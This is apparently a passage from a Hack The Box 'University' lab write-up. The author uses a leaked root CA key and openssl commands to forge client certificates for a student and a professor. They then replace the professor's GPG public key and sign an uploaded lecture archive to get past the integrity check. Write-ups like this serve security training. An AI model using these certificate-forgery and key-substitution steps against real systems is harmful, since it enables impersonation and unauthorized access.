Certificate Forgery
Upon inspecting the web backend, I was able to pinpoint the RootCA keypair that was used to sign certificates. Additionally, 2 certificate request files were identified. Namely, 5.csr and 7.csr.
Now that I have gained access to the keypair of RootCA, I can forge a signed-certificate as anyone.
┌──(kali㉿kali)-[~/…/htb/labs/university/certs]
└─$ openssl x509 -req -in "5.csr" -CA "CA/rootCA.crt" -CAkey "CA/rootCA.key" -CAcreateserial > 5.signed
Certificate request self-signature ok
subject=C=AU, ST=Some-State, O=Internet Widgits Pty Ltd, CN=martin.rose, emailAddress=martin.rose@hotmail.com
┌──(kali㉿kali)-[~/…/htb/labs/university/certs]
└─$ openssl x509 -req -in "7.csr" -CA "CA/rootCA.crt" -CAkey "CA/rootCA.key" -CAcreateserial > 7.signed
Certificate request self-signature ok
subject=C=AU, ST=Some-State, O=Internet Widgits Pty Ltd, CN=Steven.U, emailAddress=steven@yahoo.com
Starting with the existing 5.csr and 7.csr
Along with those signed certificates, authentication to the target web application is possible
Instruction for signing was found in the certificate_utils.py
file
Student User
Successfully authenticated as
steven.u
The steven.u
user is a student. Not much of use in the current context.
Professor User
The
martin.rose
user, on the other hand, is a professor
professor users are able to manage/create courses
Create a New Course
I will first attempt to create an arbitrary course
A course has been created and assigned a number;
14
Add a New Lecture
I can then add a new lecture
Which leads to this page at
/lecture/upload/14
The instruction outlines that uploading file must be;
- a ZIP archive,
lecture.zip
- containing lecture files in
.docx
,.pptx
,.pdf
and.url
format
- containing lecture files in
- a detached digital signature file,
lecture.zip.sig
- generated by
gpg -u <USERNAME> --detach-sign <FILE_PATH>
- generated by
┌──(kali㉿kali)-[~/…/htb/labs/university/Perfect-Lecture-Sample]
└─$ unzip Perfect-Lecture-Sample.zip
Archive: Perfect-Lecture-Sample.zip
inflating: Lecture.docx
inflating: Lecture.pdf
inflating: Lecture.pptx
extracting: Reference-1.url
inflating: Reference-2.url
inflating: Reference-3.url
The example file, Perfect-Lecture-Sample.zip
, indeed shows lecture files in .docx
, .pptx
, .pdf
and .url
format
@login_required
@professor_required
@course_owner_required
@PubKeyring_required
def upload_lecture(request, course_id):
if request.method == 'POST':
form = LectureForm(request.POST, request.FILES)
if form.is_valid() and course_id.isdigit():
lecture = form.save(commit=False)
lecture.course = get_object_or_404(Course, id=course_id)
lecture.save()
# get the professor to read his pubkey
professor = Professor.objects.get(id=request.user.id)
verification = form.verify_integrity(lecture.Digital_Sign.path, lecture.file.path, professor.public_key.path)
if not verification.valid:
lecture.delete()
os.remove(lecture.Digital_Sign.path)
os.remove(lecture.file.path)
messages.error(request, '<ul class="errorlist"><li>Error: Invalid Lecture Integrity!. Please make sure that:</li><li>Your public key is a valid gpg-public-key.</li><li>The deteached signature file is created by the same user who owns the public key.</li></ul>')
else:
messages.success(request, 'The lecture is uploaded successfully, our team will review it and contact you soon...')
return redirect(reverse('upload_lecture', kwargs={'course_id':course_id}))
else:
# display form with error messages
errors = form.errors.as_data()
for field, error_list in errors.items():
for error in error_list:
messages.error(request, error.message)
else:
form = LectureForm()
context = {'form': form, 'title': 'Upload a new Lecture', 'user': request.user}
return render(request, 'upload_lecture.html', context)
For a detached signature file, it would be rather problematic as the web backend appears to conduct signature validation against those public PGP key block on the assets\uploads\Pub_KEYs
directory, according to the views.py
file. Given that I don’t have the original GPG private key of the martin.rose
user, it would be impossible to get past the signature validation
Change Public Key
Thankfully, there is a feature to update the Public PGP key block
GPG Key Generation
┌──(kali㉿kali)-[~/…/htb/labs/university/certs]
└─$ gpg --quick-generate-key "martin.rose <martin.rose@hotmail.com>" rsa2048 sign 0
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: revocation certificate stored as '/home/kali/.gnupg/openpgp-revocs.d/BA22E6BD71E505FFFF6532047556B3A09456F83E.rev'
public and secret key created and signed.
Note that this key cannot be used for encryption. You may want to use
the command "--edit-key" to generate a subkey for this purpose.
pub rsa2048 2024-10-30 [SC]
BA22E6BD71E505FFFF6532047556B3A09456F83E
uid martin.rose <martin.rose@hotmail.com>
Generating a GPG keypair for the martin.rose
user;
rsa2048
: Sets the key type to RSA with a length of 2048 bits.sign
: Limits the key’s usage to signing (you can specify other purposes if needed).0
: Sets the key to never expire (you can specify another expiration if desired).
Protection is not needed in this context
┌──(kali㉿kali)-[~/…/htb/labs/university/certs]
└─$ gpg --export -a "martin.rose" > martin.rose_GPG-public-key.asc
┌──(kali㉿kali)-[~/…/htb/labs/university/certs]
└─$ cat martin.rose_GPG-public-key.asc
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQENBGcit3sBCAC+AExYtQ2hR/84sSQPpz/acNl4dRFMBSqnkYz9K/wQpXfvh1h/
5jvz9HbdTONdggna+z3iw5C+VJ8/u7llaZ8Lkth6fVXO1hhrS7cTk46RdCpjc6Ux
T/hVoSRadCRRTG41UJPxWyjXnlwT8pybV3544nDSwQ+pQD88Pq1SDKNsSdeTyLQ6
Ep7WxOcYVsmuFH5CUulPK467WLcJ8IV8EqRtqjCzoYTeAYMKSQGzIKSqQ1LAbTC9
2qd2Z10BKS34DiK6vWHBaL7p8YD6EUPZO4gBrCaLQu6sDQ7KJ3Y8h5H0dTfPsaW6
0DtoOKnVQZpvGrJIVwYM4vAbuo9h/a2l23BtABEBAAG0JW1hcnRpbi5yb3NlIDxt
YXJ0aW4ucm9zZUBob3RtYWlsLmNvbT6JAU4EEwEKADgWIQS6Iua9ceUF//9lMgR1
VrOglFb4PgUCZyK3ewIbAwULCQgHAgYVCgkICwIEFgIDAQIeAQIXgAAKCRB1VrOg
lFb4PsKyB/0acc3pcYmldFpyej/gVe7u0UFzsYDknyL1Q0FnwHiPOeqioaqRMUKE
qj7H073pMtBT2jqXpsxnL/sv2sJwEM+beDfi6FkVMSID+ygotFk6uWZoByjyjp4K
zhICN1B32NlO5VYU4ZYBVxiOpGWTODfnZODvlb2C+85AGMpal/di7FfeEjhq+9i9
+pv6LqDJvJg0Crag6gYzCEaFHrV6J0NBvtQvRY6IcMCsaNDfEz1aNPIZIvruuXYW
6soslgu7FEkSm16AW5ef6CrkU4CzgzRUrRgIsyiu3GOxbLBNxIy8hHTqVzT2KkGA
DtTtI1qtP1LF8+qPwxjTiWuZyWlT02tN
=J4GX
-----END PGP PUBLIC KEY BLOCK-----
Exporting the GPG public key. It contains the PGP Public key block
Uploading Newly Generated Public Key
Successfully uploaded the newly generated GPG public key
Now that I have “updated” the GPG public key of the
martin.rose
user, I can get past the signature validation and upload the lecture.zip
file
Uploading lecture.zip
and lecture.zip.sig
┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ gpg -u martin.rose --detach-sign ./lecture.zip
Using the newly generated GPG private key of the martin.rose
user, I can sign the lecture.zip
file.
┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ file lecture.zip.sig
lecture.zip.sig: data
Which generates the signature file; lecture.zip.sig
Upload successful.
It says that the uploaded lecture archive will be reviewed by the team.